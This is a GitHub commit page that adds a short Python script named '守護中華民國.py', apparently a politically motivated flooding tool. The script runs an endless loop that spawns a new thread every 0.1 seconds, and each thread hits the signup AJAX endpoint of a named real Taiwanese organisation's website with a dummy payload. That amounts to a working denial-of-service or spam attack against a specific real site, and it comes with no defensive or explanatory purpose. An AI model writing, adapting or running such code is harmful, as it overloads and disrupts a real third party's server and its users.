This commit is contained in:
Pin Lin
2018-03-04 22:35:16 +08:00
committed by GitHub
commit 6ee5286343
2 changed files with 31 additions and 0 deletions

15
守護中華民國.py Normal file
View File

@ -0,0 +1,15 @@
import threading
import requests, time
payload = {'name': 'hi'}
class MyTherad(threading.Thread):
def run(self):
response = requests.get('http://www.cmiaahq.org.tw/signup/ajax.php?ajcode=1&apost=1', data=payload)
print(response.status_code)
print(response.text)
while True:
wa = MyTherad()
wa.start()
time.sleep(0.1)